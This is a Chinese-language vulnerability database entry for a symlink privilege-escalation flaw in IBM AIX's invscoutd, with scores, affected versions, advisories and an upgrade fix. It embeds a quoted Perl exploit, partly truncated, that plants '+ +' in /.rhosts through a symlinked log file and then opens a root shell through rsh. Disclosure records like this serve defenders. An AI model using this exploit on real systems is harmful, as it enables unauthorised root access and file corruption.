发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 00:00:00

[原文]The Inventory Scout daemon (invscoutd) and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.

[CNNVD]AIX Invscoutd符号连接漏洞(CNNVD-200412-422)

        IBM AIX是一款商业性质UNIX操作系统。
        AIX invscoutd不安全建立临时文件,本地攻击者可以利用这个漏洞提升权限。
        AIX invscoutd由于设计错误,允许用户指定一个日志文件来写入数据,恶意用户可以建议一个指向本地系统文件的符号连接,当运行invscoutd写入日志信息时,可破坏指向的本地文件,造成本地拒绝服务,或权限提升。

- CVSS (基础分值)

CVSS分值: 6.9 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-362 [使用共享资源的并发执行不恰当同步问题(竞争条件)]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:5.1IBM AIX 5.1
cpe:/o:ibm:aix:4.3.3IBM AIX 4.3.3
cpe:/o:ibm:aix:5.1lIBM AIX 5.1L

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  aix-invscoutd-gain-privileges(15620)
(UNKNOWN)  BID  9982

- 漏洞信息

AIX Invscoutd符号连接漏洞
中危 竞争条件
2004-12-31 00:00:00 2007-10-09 00:00:00
        IBM AIX是一款商业性质UNIX操作系统。
        AIX invscoutd不安全建立临时文件,本地攻击者可以利用这个漏洞提升权限。
        AIX invscoutd由于设计错误,允许用户指定一个日志文件来写入数据,恶意用户可以建议一个指向本地系统文件的符号连接,当运行invscoutd写入日志信息时,可破坏指向的本地文件,造成本地拒绝服务,或权限提升。

- 公告与补丁


- 漏洞信息 (23883)

AIX 4.3.3/5.1 Invscoutd Symbolic Link Vulnerability (EDBID:23883)
aix local
2003-05-29 Verified
0 watercloud
N/A [点击下载]

Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.

This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.

# FileName:
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1. 
#           Some high version of invscoutd is not affected.
# Author  :
# Site    :
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;

- 漏洞信息

IBM AIX invscoutd Insecure Logfile Handling
Local Access Required Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

IBM inventory scout for AIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when running the invscoutd command using a malicous logfile name. This flaw may lead to escalated privileges an loss of confidentiality and/or integrity.

- 时间线

2004-03-26 Unknow
2004-03-26 Unknow

- 解决方案

Upgrade to latest version of inventory scout, as higher numbered versions have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者